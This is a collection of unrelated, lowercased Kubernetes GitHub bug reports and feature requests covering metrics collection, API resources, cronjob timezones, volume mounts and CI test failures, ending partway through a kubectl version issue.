hello,  this could very well be a configuration error on my part but i'm trying to get metric collection working on my k8s cluster  on centurylink cloud  and i've run into issues that i believe have something to do with my kubelet and cadvisor configuration but i'm not sure.   i have grafana up and running with some basic stats coming in but i seem to be missing metrics like cpu/network/etc about the pods/containers.   what works:  going to the cadvisor ui on the minion. i see all stats.   what doesn't seem to work: - when i try to query the kubectl stats api at curl minion-ip:10250/stats/, i see the following errors in my  kubelet.log file:      i0113 19:56:34.674132   31859 logs.go:40  http: tls handshake error from 127.0.0.1:46565: tls: first record does not look like a tls handshake i0113 19:57:22.667591   31859 logs.go:40  http: tls handshake error from 127.0.0.1:46585: tls: first record does not look like a tls handshake      my heapster log files look like this:      i0113 19:44:23.344056       1 heapster.go:55  /heapster --source=kubernetes:https://kubernetes?inclusterconfig=false&useserviceaccount=true&insecure=true&auth= --sink=influxdb:http://monitoring-influxdb:8086 --stats_resolution=30s --sink_frequency=1m i0113 19:44:23.344258       1 heapster.go:56  heapster version 0.18.2 i0113 19:44:23.344528       1 kube_factory.go:169  using kubernetes client with master \ https://kubernetes\  and version \ v1\  i0113 19:44:23.344556       1 kube_factory.go:170  using kubelet port 10255 i0113 19:44:23.356465       1 driver.go:376  created influxdb sink with options: {root root monitoring-influxdb:8086 k8s false} i0113 19:44:23.366080       1 heapster.go:66  starting heapster on port 8082      perhaps kubelet is trying to communicate to cadvisor with a mismatch of http/https somehow? i'm not sure of the exact data flow of how things are moving.  thanks for any help. chris

this feature request is based on https://github.com/kubernetes/kubernetes/pull/26402  with issue  23394  pr  24142  resync was split into resync and relist. this gives informers the ability to set more aggressive resyncperiods since resync now just requeues items in the existing cache and does not make expensive network calls to api server to re-fetch all items  relist .  however, since shared informers are shared by multiple controllers, changing the existing resyncperiod of 12 hours to something more aggressive  1 minute?  would result in a performance hit since all controllers using shared informers would have to handle frequent resyncs, this could be problematic performance wise especially for large clusters.  feature request: allow consumers of shared informers to be able to either set their own resync periods, or opt in to a faster resync period. that way they get the benefit of using a shared informer, and other consumers of the shared informer do not suffer due to shorter resyncperiod.

kubectl should have an option to open the ui that is installed under  http://<master_ip>/ui .   for example:  kubectl open-ui .   this would great discoverability improvement for the ui since many people start with cli, not even knowing that there is a ui.  implementation considerations: this may either start a local proxy and open a browser or look for ui's service, get it's external endpoint and open a browser with it.   cc @kubernetes/dashboard-maintainers

cc @timothysc @davidopp @kevin-wangzefeng @kubernetes/sig-scheduling-bugs

when generating docs or clients of the openapi json, the operations are manually mapped to the resources they apply to using a bunch of hacks.  since the operations are initially generated from resources, we should keep this information around and tag the operations with a group version kind extension in the openapi.

in federation e2e tests we do use loadbalancer type of service for all needs.\r creating loadbalancer type of service for every test case is kind of expensive and time consuming to provision. thus making the overall test-suite little slower.\r \r we could use clusterip type of services wherever we don't exactly need the service to be a loadbalancer type.\r \r /cc @madhusudancs \r 

i tried to add an resource named  network  which is non-namespaced into api .\r this is what i did:\r add this resource's struct into types.go and /v1/types.go.   i add two notes:  +genclient=true  and  +nonnamespaced=true  in case of create its client without namespace;\r add its storage.go, registry.go and strategy.go file into  pkg/registry/core/network   which i created. i changed the function  namespacescoped  and return  false  ;\r modify register.go  v1/registrer.go , add my resource into function  addknowntypes ;\r modify  pkg/api/validation/validation.go  , add my resource's  validate  function;\r modify  pkg/registry/core/rest/storage_core.go  , add my resource's rest in function:  newlegacyreststorage ;\r modify install.go and /v1/install.go. add my resource into  rootscopedkinds  in function  install .\r \r then i run \r    \r bash hack/update-codegen.sh && bash hack/update-generated-protobuf-dockerized.sh && bash hack/update-codecgen.sh\r    \r and there're some new generated files created, include some protbuf and client files.\r i build  kube-apiserver and run successfully,  but when i try to create a network:\r     \r  root@godev kubernetes   curl -x post http://localhost:8080/api/v1/networks -d '{\ kind\ :\ network\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ huangyangtestnetwork1991\ },\ spec\ :{\ networkinfo\ :{\ id\ :\ 31507cd5-1f48-4585-aebb-ebebd93ead83\ ,\ ip\ :\ 10.173.32.25\ ,\ mac\ :\ fa:16:3e:c7:36:84\ ,\ nettype\ :\ wan\ }}}'\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server does not allow this method on the requested resource\ ,\r   \ reason\ : \ methodnotallowed\ ,\r   \ details\ : {},\r   \ code\ : 405\r }\r     \r \r when i use:\r    \r curl -x post http://localhost:8080/api/v1/namespaces/default/networks -d '{\ kind\ :\ network\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ huangyangtestnetwork1991\ },\ spec\ :{\ networkinfo\ :{\ id\ :\ 31507cd5-1f48-4585-aebb-ebebd93ead83\ ,\ ip\ :\ 10.173.32.25\ ,\ mac\ :\ fa:16:3e:c7:36:84\ ,\ nettype\ :\ wan\ }}}'\r    \r it created successfully, which means there must be something i missed to do to make my resource non-namespaced.  what did i miss??

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r this is a issue from istio https://github.com/istio/istio.github.io/issues/660\r \r the current  initializerconfiguration  is cluster level and all of the affected resources  deployment etc  will be adding the  pending initializers , but if the initializers are down or the initializer does not clear the  pending initializers , the resources will always hang.\r \r it is better make the  initializerconfiguration  namespace level.\r \r /cc @caesarxuchao \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   what happened  :\r \r now, when the aggregated apiserver is unavailable, all resource requests will return 404s.\r \r this pr: https://github.com/kubernetes/kubernetes/pull/58070 updates unavailable aggregated apis to 503s instead of 404s.\r \r i had verified the following three components works well because of this change:\r \r - kubectl get pods  with an empty cache \r - kubectl get unknownresource  with an empty cache \r - garbage collection controller\r \r   what you expected to happen  :\r \r but there are other two controllers need to be verfied:\r \r - namespace cleanup controller\r > expected the namespace controller to clean up what it can but avoid final deletion of a namespace as long as it was unable to complete discovery successfully.\r \r - resource quota controller\r > expected it to continue computing quota on what it could discover.\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r the current conformance test do not cover rbac part in kubernetes, this should also be included.\r \r /area conformance\r  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r the default behavior of docker is when someone runs \ docker pull\  an image, when the tag is not specified  e.g., nginx , the latest build tag  \ :latest\   is assumed and appended to the image  e.g., nginx:latest . in k8s, the node only reports the image name with the \ :latest\  tag appended, and hence when users do not specify image tag  when expecting the \ :latest\  as in docker , the image locality function won't be able to spot a match even where there are matches.\r \r   what you expected to happen  :\r \r - either banking on users always specifying a versioned tag  or the latest tag  with the images, or:\r - preserving the same semantics of untagged image by appending when matching images.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r repeat what described above and log to see whether there is image match misses.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.1\r - install tools: kops\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r i am suffering from mysterious timeouts.  see https://github.com/kubernetes/kubernetes/issues/63608 issuecomment-391497458 for the evidence from my latest investigation.  it includes this line\r \r    \r e0523 18:59:53.086835       1 status.go:64  apiserver received an error that is not an metav1.status: timeout\r    \r \r from the  errortoapistatus  function in  staging/src/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/status.go .   the relevant line is this:\r \r    \r \truntime.handleerror fmt.errorf \ apiserver received an error that is not an metav1.status: %v\ , err  \r    \r \r i still do not know the type of the error in question or where it is coming from.  it would be helpful if the log message included the type of the error object --- such as with  fmt.sprintf \ %t\ , err   or, if that does not include the type's package name, perhaps something that would really nail the type.\r \r \r   what you expected to happen  :\r i would expect more information about an unexpected type of error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently we make a pass for host-ports and tell docker about them, but we don't tell docker about non-host-port port.  we should, it makes  docker ps  nicer

currently  iscorruptedmnt  is unix specific:\r https://github.com/kubernetes/kubernetes/blob/596a48dd64bcaa01c1d2515dc79a558a4466d463/pkg/util/mount/mount_helper.go l123\r these error codes are mapped directly to unix errno's. on windows they will not match up with the right errors that windows would emit on a corrupted mount. we should have a windows specific  iscorruptedmnt  function that checks for the correct windows specific mount errornos.\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r the master is at pdt  -7 .\r \r verified local time on master:\r \r    sh\r timedatectl\r                       local time: fri 2019-06-07 09:21:42 pdt\r                   universal time: fri 2019-06-07 16:21:42 utc\r                         rtc time: fri 2019-06-07 16:21:42\r                        time zone: america/los_angeles  pdt, -0700 \r        system clock synchronized: yes\r systemd-timesyncd.service active: yes\r                  rtc in local tz: no\r    \r \r created a cronjob with schedule of  \ 0 12     5\   to run on friday noon.\r \r    \r kubectl describe cj manager-weekly-us\r name:                          manager-weekly-us\r namespace:                     default\r labels:                        environment=production\r                                function=report\r annotations:                   <none>\r schedule:                      0 12     5\r concurrency policy:            allow\r suspend:                       false\r successful job history limit:  824638405216\r failed job history limit:      1\r starting deadline seconds:     <unset>\r selector:                      <unset>\r parallelism:                   <unset>\r completions:                   <unset>\r pod template:\r   labels:  <none>\r   containers:\r    manager-weekly-us:\r     image:      mantisphp7:0.8\r     port:       <none>\r     host port:  <none>\r     args:\r       /bin/sh\r       -c\r       /usr/bin/php  /var/www/html/mantis/reports/manager_report.php -i summary -m -t \ us.field us.devops et carrier\ \r     environment:  <none>\r     mounts:\r       /mantis_file_upload from upload  rw \r       /scripts from scripts  rw \r       /var/www/html/mantis from www  rw \r   volumes:\r    www:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  mantis-www\r     readonly:   false\r    upload:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  mantis-upload\r     readonly:   false\r    scripts:\r     type:            persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:       mantis-scripts\r     readonly:        false\r last schedule time:  fri, 07 jun 2019 05:00:00 -0700\r active jobs:         <none>\r events:              <none>\r    \r \r you can see it actually ran on 12 utc, which is 5am pdt.\r \r   what you expected to happen  :\r \r according to the document: \r \r > note: all cronjob schedule: times are based on the timezone of the master where the job is initiated.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. make sure your host is on some timezone not utc\r 2. create a cronjob with schedule  '0 12      '   or any hour that fit you \r 3. observe when the cronjob runs.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:23:09z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.2\ , gitcommit:\ 66049e3b21efe110454d67df4fa62b08ea79a19b\ , gittreestate:\ clean\ , builddate:\ 2019-05-16t16:14:56z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r self hosted\r - os  e.g:  cat /etc/os-release  :\r \r    \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r \r  linux smart-sjc-node1 4.15.0-50-generic  54-ubuntu smp mon may 6 18:46:08 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r kubeadm\r \r - network plugin and version  if this is a network-related bug :\r - others:

currently we manually convert the yaml/json files embedded in markdown files. to automate this process, we propose to add features to the kube-version-change tool: - we need to remove the default fields in the output of kube-version-change tool - we need to add a flag to kube-version-change that commands the tool to recursively convert all the .md files in a directory  some code that maybe reused: -  sampleregexp  in examples/examples_test.go matches yaml/json block in markdown files  @nikhiljindal  @krousey @bgrant0607 could you @ more folks? thank you.

there's a chance this is use error, but i just ran  ./hack/update-all.sh  and it croaked with:      codecgen error: error running 'go run codecgen-main-1234.generated.go': exit status 2, console:   _/usr/local/google/home/beeps/goproj/src/k8s.io/kubernetes/pkg/apis/extensions/v1beta1 ./conversion_generated.go:3802: undefined: runtime in runtime.object ./conversion_generated.go:5133: undefined: runtime in runtime.object  !!! error in ./hack/../hack/update-codecgen.sh:127   '${codecgen} -d 1234 -o \ ${base_generated_file}\  \ ${base_file}\ ' exited with status 1 call stack:   1: ./hack/../hack/update-codecgen.sh:127 main ...  exiting with status 1      i'm defining an extension with a runtime.object field  just like list: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l2125, but in an extension , the generated  conversion_generated.go  file has runtime.object in it, but no  k8s.io/kubernetes/pkg/runtime  import.   i added it by hand ignoring the big comment to not do so, and re-ran update-codecgen.sh.  what did i do wrong?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-test-go/16002/  failed: testupdatelabeltoremovecontrollerref {replicationcontroller}      replicationcontroller_test.go:405: failed to patch pod2: pods \ pod2\  not found

is this a request for help?   no.    what keywords did you search in kubernetes issues before filing this one?   \ wrong volume\     is this a bug report or feature request?   bug report.    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.1\ , gitcommit:\ 0aa76668512ea62a7356920d2b2198430e1ef3ef\ , gittreestate:\ clean\ , builddate:\ 2016-09-27t19:39:47z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos      name=coreos id=coreos version=1122.2.0 version_id=1122.2.0 build_id=2016-09-06-1449 pretty_name=\ coreos 1122.2.0  moreos \  ansi_color=\ 1;32\  home_url=\ https://coreos.com/\  bug_report_url=\ https://github.com/coreos/bugs/issues\      -   kernel    e.g.  uname -a  :  linux k8s-worker-1 4.7.0-coreos  1 smp tue sep 6 14:39:20 utc 2016 x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux  -   install tools  : -   others  :    what happened  : 1. node a was in an unhealthy state; drained it. service x with ebs volume was running on this node, thus it was rescheduled elsewhere, on node b. volume was mounted as /dev/xvdba 2. perhaps due in part to node a's unhealthiness, volume for service x was not being unmounted/detached. manually unmounted and detached volume. 3. kubernetes automatically attached volume to node b as /dev/xvdbb. 4. node has volume already mounted on /dev/xvdba. kubernetes used the moint point observed at time of initial volume assignment  xvdba , thus _wrong_ volume is mounted into container. madness ensues.    what you expected to happen  : kubernetes should have re-observed at some point the actual device node for the volume, and mounted the correct volume into the pod.    how to reproduce it    as minimally and precisely as possible : it depends in part on getting a node into an unhealthy state. i hypothesize this will reproduce the problem: 0. suppose a two-node cluster where both nodes have some volumes mounted. ensure that volume a on node a is mounted on /dev/xvdba; and volume b on node b is also mounted on /dev/xvdba.  1. kill kubelet on node a. 2. drain node a, so that the pod that uses volume a is rescheduled to node b. 3. unmount and detach volume a from node b, possibly after waiting a few minutes to see if the volume shows up.    anything else do we need to know  : the volume incorrectness persisted across pod restarts  e.g., by scaling rc down to 0 then back up . i'm assuming the volume assignment is somehow persistent, and so the wrong identification of device node persisted.

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : osx, gke\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gci\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r   what happened  :\r when deleting a cluster from a federation, it doesn't clean up any of the dns records associated w/ that cluster.\r \r   what you expected to happen  :\r deleting a cluster from federation should delete related resources.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a federation w/ 2 clusters\r 1. provision a federated service w/ healthy backends\r 1. see that the dns entries were created in the cloud provider\r 1. delete a cluster from the federation\r \r   anything else do we need to know  :\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r self link error in print unstructured content\r   what you expected to happen  :\r \r ref to https://github.com/kubernetes/kubernetes/pull/46017

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r \r the  apiserver  has already supported fetching  initializerconfiguration , which has not been enabled in  kubectl .\r \r   what you expected to happen  :\r enable in  kubectl \r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in the kubelet, when using  --pod-manifest-path  the kubelet creates static pods but doesn't update the status accordingly in the   podlist    kubelet  /pods  .\r \r you can find that kind of pods with the following annotation:\r    \r \ kubernetes.io/config.source\ : \ file\ \r    \r the status will stay like that:\r    json\r {\r   \ phase\ : \ pending\ ,\r   \ conditions\ :  \r     {\r       \ type\ : \ podscheduled\ ,\r       \ status\ : \ true\ ,\r       \ lastprobetime\ : null,\r       \ lasttransitiontime\ : \ 2018-03-26t14:38:07z\ \r     }\r    \r }\r    \r \r   what you expected to happen  :\r \r the status is updated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use a static pod.\r \r   anything else we need to know?  :\r \r i tried to fix it in   57106  https://github.com/kubernetes/kubernetes/pull/57106  but the test-grid continuously failed at the reboot phase  see  59889 .\r \r i had to revert it   59948,  59892 .\r \r i'm creating this issue to track this bug.\r \r the problem in the e2e tests are probably from  this function  https://github.com/kubernetes/kubernetes/blob/c64494a0cbfb8bfa8d9036a07c42be322cd724d0/test/e2e/lifecycle/reboot.go l215 .\r \r this is an old output of the failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot/20693?log log\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when i start the apiserver, found apiserver crased due to the  already exists.\r    \r e0814 06:00:23.516116       1 autoregister_controller.go:190  v1.autoscaling failed with : apiservices.apiregistration.k8s.io \ v1.autoscaling\  already exists\r e0814 06:00:23.516317       1 autoregister_controller.go:190  v1beta1.batch failed with : apiservices.apiregistration.k8s.io \ v1beta1.batch\  already exists\r e0814 06:00:23.516443       1 autoregister_controller.go:190  v2alpha1.batch failed with : apiservices.apiregistration.k8s.io \ v2alpha1.batch\  already exists\r f0814 06:00:23.517195       1 hooks.go:188  poststarthook \ scheduling/bootstrap-system-priority-classes\  failed: unable to add default system  priorityclasses.scheduling.k8s.io \ system-cluster-critical\  already exists\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in the latest run of gce-scale-performance  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/208 , load test failed. the following happened:\r \r - at 10:24:05  ~1.5h after the start , pods stopped being created:\r \r    \r i0905 10:24:14.770  i0905 10:24:14.769750    7590 runners.go:180  load-small-2141 pods: 0 out of 5 created, 0 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i0905 10:24:14.962  i0905 10:24:14.962672    7590 runners.go:180  load-small-4857 pods: 0 out of 5 created, 0 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i0905 10:24:15.325  i0905 10:24:15.324996    7590 runners.go:180  load-small-10532 pods: 0 out of 5 created, 0 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r    \r \r - from the  c-m logs  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/208/artifacts/gce-scale-cluster-master/kube-controller-manager.log-20180906-1536192002.gz  there seemed to be a restart just around that time, caused due to losing leaderelection:\r \r    \r i0905 10:24:05.645220       1 leaderelection.go:231  failed to renew lease kube-system/kube-controller-manager: failed to tryacquireorrenew context deadline exceeded\r f0905 10:24:09.534153       1 controllermanager.go:238  leaderelection lost\r    \r \r but it's fine to restart after losing election  we even observed this in past . however it failed to come up after restart and was continuously crashing, with the following error:\r \r    \r i0905 10:24:12.929848       1 serving.go:293  generated self-signed cert  /var/run/kubernetes/kube-controller-manager.crt, /var/run/kubernetes/kube-controller-manager.key \r failed to get delegated authentication kubeconfig: failed to get delegated authentication kubeconfig: failed to read token file \ /var/run/secrets/kubernetes.io/serviceaccount/token\ : open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory\r    \r \r - the file  /var/run/secrets/kubernetes.io/serviceaccount/token  is the default path where serviceaccounttoken secrets are automounted to, which is needed to communicate with the apiserver. however, the file doesn't seem to exist there and creating it is the duty of kubelet iiuc.\r \r we need to dig further, and understand why this happened.\r \r cc @wojtek-t @krzysied

ci testing upgraded to golang 1.12.2 around 4am last night.\r \r after that, the two gce-100 test runs failed: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/19422\r \r this was followed by two runs whose runtime was slightly  2 min  above average for the test: https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/19424\r \r we need to verify whether the golang upgrade had a measureable effect on performance, or whether this is just a continuation of issue  69600  unfortunately, the perf dashboard is no help here  issue on that to come \r \r  /  \r attn:\r @wojtek-t \r @shyamjvs \r @cblecker \r @aishsundar

which jobs are failing  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default\r \r   which test s  are failing  :\r -   sig-storage  emptydir volumes pod should support shared volumes between containers \r -   sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumes  \r -   sig-storage  subpath atomic writer volumes should support subpaths with projected pod  linuxonly   conformance  \r \r   reasons for failure  :\r -  sig-storage  emptydir volumes pod should support shared volumes between containers: \r    \r starting container process caused \ process_linux.go:92: setting oom score caused \\\ write /proc/31159/oom_score_adj: invalid argument\\\ \ \r    \r -  sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should verify container cannot write to subpath readonly volumes: \r    \r expected error:\r     < errors.errorstring | 0xc002054e10>: {\r         s: \ subpath container unexpectedly became running\ ,\r     }\r     subpath container unexpectedly became running\r    \r -  sig-storage  subpath atomic writer volumes should support subpaths with projected pod  linuxonly   conformance : \r    internal error occurred: failed calling webhook \ allow-configmap-with-delay-webhook.k8s.io\ : post https://e2e-test-webhook.webhook-3191.svc:443/always-allow-delay-5s?timeout=1s: context deadline exceeded   \r \r   since when has it been failing  :\r since 2/28\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default\r \r   anything else we need to know  :\r - started failing with  b113782cf  https://github.com/kubernetes/kubernetes/commit/b113782cf \r -  build logs  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9544 \r \r cc @mortent @kacole2 @mariantalla @alejandrox1\r \r  / /milestone v1.14\r 

node-problem-detector recently has a new release  v0.6.3  https://github.com/kubernetes/node-problem-detector/releases/tag/v0.6.3 . this release fixed a bug in npd v0.6.0  fix pr: https://github.com/kubernetes/node-problem-detector/pull/265 . we need to use the new npd version and cherry pick to release-1.10, release-1.11, release-1.12, release-1.13, and release-1.14 branches.\r \r   /cc @random-liu

we are running our k8s clusters on top of vm's running coreos. after setting up a cluster with release 1.3.0 i'm no longer able to get the verions.  used kubectl config during all tests    apiversion: v1 clusters: \\- cluster:     certificate-authority: /etc/kubernetes/ssl/ca.pem     server: https://admin-apiserver-prod.de-fra1.kubernetes.paas.metro.cloud   name: kubernetes-admin-prod-de-fra1 contexts: \\- context:     cluster: kubernetes-prod     user: kubernetes-admin   name: kubernetes-admin-prod-de-fra1 current-context: kubernetes-admin-prod-de-fra1 kind: config preferences: {} users: \\- name: kubernetes-admin   user:     token:                                           kubectl from release 1.3.0 does not work  ./kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } unable to connect to the server: dial tcp: lookup localhost on 10.16.176.222:53: no such host    kubectl from release 1.1.8 does work  rel1.1.8/kubectl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.8\ , gitcommit:\ a8af33dc07ee08defa2d503f81e7deea32dd1d3b\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ }   interestingly kubectl inside of hyperkube from release 1.3.0 does work as well.  hyperkube/hyperkube kubectl version client version: version.info{major:\ 